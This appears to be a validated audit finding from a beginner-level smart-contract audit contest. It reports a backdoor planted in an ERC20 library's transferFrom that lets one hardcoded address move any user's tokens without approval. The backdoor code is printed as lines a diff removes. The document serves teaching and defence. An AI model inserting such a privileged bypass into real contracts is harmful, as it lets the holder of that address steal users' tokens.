Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

`ERC20:transferFrom` contains malicious instructions

Summary

ERC20:transferFrom#L89 allows particular address to transfer tokens from any address.

Vulnerability Details

The South Pole Elves hardcoded address of particular address that can is allowed to transfer any amount of tokens from any account, thus stealing the tokens from any user.

Impact

High, privileged account can steal tokens from users.

Tools Used

Manual Review.

Recommendations

Remove malicious code.

- if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
- balanceOf[from] -= amount;
- unchecked {
- balanceOf[to] += amount;
- }
- emit Transfer(from, to, amount);
- return true;
- }
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

unauthorized elf wallet approval in solmate-bad

Some sneaky elf has changed this library to a corrupted one where his wallet address skips all the approval checks for SantaToken! Shenanigans here - https://github.com/PatrickAlphaC/solmate-bad/blob/c3877e5571461c61293503f45fc00959fff4ebba/src/tokens/ERC20.sol#L88

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.